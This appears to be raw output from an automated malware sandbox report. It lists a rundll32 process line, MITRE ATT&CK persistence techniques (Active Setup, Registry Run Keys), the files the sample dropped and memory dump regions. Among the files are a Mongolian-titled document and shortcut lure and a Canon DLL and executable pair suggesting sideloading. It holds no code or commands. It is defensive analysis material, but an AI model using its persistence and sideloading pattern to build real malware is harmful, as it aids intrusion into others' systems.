C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Privilege Escalation
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F
B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F
settings.dat
BrowsingTopicsState
Network Persistent State
Network Persistent State
TransportSecurity
Preferences
Preferences
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index~RFe5ec2e0.TMP
Local State
Local State
Local State
Local State
Local State
data_1
powershell.exe.log
protocols.json
autofill_bypass_cache_forms.json
edge_autofill_global_block_list.json
v1FieldTypes.json
crl-set
settings.dat
LOG.old
LOG.old
BookmarkMergedSurfaceOrdering
the-real-index
SiteList-Enterprise.json
Edge Profile.ico
HubApps
Network Persistent State
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index
the-real-index~RFe5999e5.TMP
the-real-index
the-real-index
index.txt
the-real-index
the-real-index~RFe59ede1.TMP
sync_diagnostic.log
domain_actions.dll
98036620-3ab1-43b3-84a7-c78c3608d416.tmp
office_endpoints_list.json
Local State
Local State
Local State
Local State
Local State
Local State
keys.json
nav_config.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
0809b394-6516-4817-8bcb-9d69d13e4551.tmp
winword.exe_Rules.xml
winword.exe.db-wal
iconcache_idx.db
StartupProfileData-NonInteractive
SearchHoverUnifiedTileModelCache.dat
CNCLID.dll
CNMNSST.exe
Canon.dat
72dab911-b6b9-43d7-99d7-5a2e16bc7adf.tmp
7e60af59-e671-45d9-acf5-a4e1190251f0.tmp
sist02.xsl
__PSScriptPolicyTest_qpq0gth2.enc.ps1
44e79e8e-05a0-42b6-9e77-94c995af63a7.tmp
content_new.js
~$-аас Хөндөж болзошгүй асуудал.docx
ЕС-аас Хөндөж болзошгүй асуудал.docx
rlylgjvgdr.so
ExcludeDictionaryEN0409.lex
BRGQ9A6D0YVSE3SAGV7Q.temp
b890d6b1c02d13b1.customDestinations-ms
b890d6b1c02d13b1.customDestinations-ms
ЕС-аас Хөндөж болзошгүй асуудал.lnk
IDA-Pro-7.7-main.zip:Zone.Identifier
CNCLID.dll.id0
CNCLID.dll.id2
CNCLID.dll.id2
manifest.json
manifest.json
LICENSE
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
manifest.json
memory/588-109-0x0000000002390000-0x0000000005FDE000-memory.dmp
memory/588-105-0x0000000002390000-0x0000000005FDE000-memory.dmp
memory/764-178-0x0000012BF8F30000-0x0000012BF8F31000-memory.dmp
memory/764-185-0x0000012BF8F30000-0x0000012BF8F31000-memory.dmp
memory/764-183-0x0000012BF8F30000-0x0000012BF8F31000-memory.dmp
memory/764-184-0x0000012BF8F30000-0x0000012BF8F31000-memory.dmp
memory/764-189-0x0000012BF8F30000-0x0000012BF8F31000-memory.dmp
memory/764-187-0x0000012BF8F30000-0x0000012BF8F31000-memory.dmp
memory/764-177-0x0000012BF8F30000-0x0000012BF8F31000-memory.dmp
memory/764-179-0x0000012BF8F30000-0x0000012BF8F31000-memory.dmp
memory/764-186-0x0000012BF8F30000-0x0000012BF8F31000-memory.dmp
memory/764-188-0x0000012BF8F30000-0x0000012BF8F31000-memory.dmp
memory/1764-11-0x000001E4623D0000-0x000001E4623F2000-memory.dmp
memory/3328-2373-0x000001A6FEF80000-0x000001A6FEFA0000-memory.dmp
memory/3328-2310-0x000001A5DA000000-0x000001A5DA100000-memory.dmp
memory/3328-2311-0x000001A5EBEB0000-0x000001A5EBFB0000-memory.dmp
memory/3328-2344-0x000001A5FD2A0000-0x000001A5FD3A0000-memory.dmp
memory/3328-2356-0x000001A6FE160000-0x000001A6FE180000-memory.dmp
memory/3328-2364-0x000001A6FE300000-0x000001A6FE320000-memory.dmp
memory/3328-2362-0x000001A5FD800000-0x000001A5FD820000-memory.dmp
memory/3960-58-0x00000000023D0000-0x000000000601E000-memory.dmp
memory/3960-54-0x00000000023D0000-0x000000000601E000-memory.dmp
memory/3960-53-0x0000000000A30000-0x0000000000A79000-memory.dmp
memory/4228-127-0x0000000002370000-0x0000000005FBE000-memory.dmp
memory/4228-133-0x0000000002370000-0x0000000005FBE000-memory.dmp
memory/4228-150-0x0000000002370000-0x0000000005FBE000-memory.dmp
memory/4340-70-0x00007FF8F5230000-0x00007FF8F5240000-memory.dmp
memory/4340-72-0x00007FF8F5230000-0x00007FF8F5240000-memory.dmp
memory/4340-75-0x00007FF8F3010000-0x00007FF8F3020000-memory.dmp
memory/4340-71-0x00007FF8F5230000-0x00007FF8F5240000-memory.dmp
memory/4340-73-0x00007FF8F5230000-0x00007FF8F5240000-memory.dmp
memory/4340-74-0x00007FF8F3010000-0x00007FF8F3020000-memory.dmp
memory/4340-69-0x00007FF8F5230000-0x00007FF8F5240000-memory.dmp
memory/5024-172-0x00007FF8F5230000-0x00007FF8F5240000-memory.dmp
memory/5024-173-0x00007FF8F5230000-0x00007FF8F5240000-memory.dmp
memory/5024-174-0x00007FF8F5230000-0x00007FF8F5240000-memory.dmp
memory/5024-171-0x00007FF8F5230000-0x00007FF8F5240000-memory.dmp
memory/5032-104-0x0000000002340000-0x0000000005F8E000-memory.dmp
memory/5032-101-0x0000000002340000-0x0000000005F8E000-memory.dmp
memory/5132-2098-0x00007FF929A20000-0x00007FF929A47000-memory.dmp
memory/5132-2061-0x000002A495F70000-0x000002A495FA6000-memory.dmp
memory/5132-2058-0x00007FF910840000-0x00007FF910D96000-memory.dmp
memory/5132-2096-0x000002A493D80000-0x000002A493DB6000-memory.dmp
memory/5132-2063-0x00007FF91C050000-0x00007FF91C077000-memory.dmp
memory/5132-2057-0x00007FF70C9C0000-0x00007FF70CDBF000-memory.dmp
memory/5132-2087-0x000002A493B80000-0x000002A493BAE000-memory.dmp
memory/5132-2088-0x00007FF91C050000-0x00007FF91C077000-memory.dmp
memory/5132-2059-0x000002A495F70000-0x000002A495F9E000-memory.dmp
memory/5724-1976-0x00000235482D0000-0x00000235482FE000-memory.dmp
memory/5724-2029-0x0000023545710000-0x0000023545762000-memory.dmp
memory/5724-2046-0x0000023545710000-0x0000023545762000-memory.dmp
memory/5724-1980-0x00007FF91C050000-0x00007FF91C077000-memory.dmp
memory/5724-1997-0x00000235456F0000-0x000002354571E000-memory.dmp
memory/5724-1974-0x00007FF910840000-0x00007FF910D96000-memory.dmp
memory/5724-2006-0x0000023545770000-0x00000235457A6000-memory.dmp
memory/5724-1978-0x00000235482D0000-0x0000023548306000-memory.dmp
memory/5724-1973-0x00007FF6A67A0000-0x00007FF6A6B9F000-memory.dmp
memory/5724-2040-0x00007FF91C050000-0x00007FF91C077000-memory.dmp
memory/5724-2008-0x00007FF91C050000-0x00007FF91C077000-memory.dmp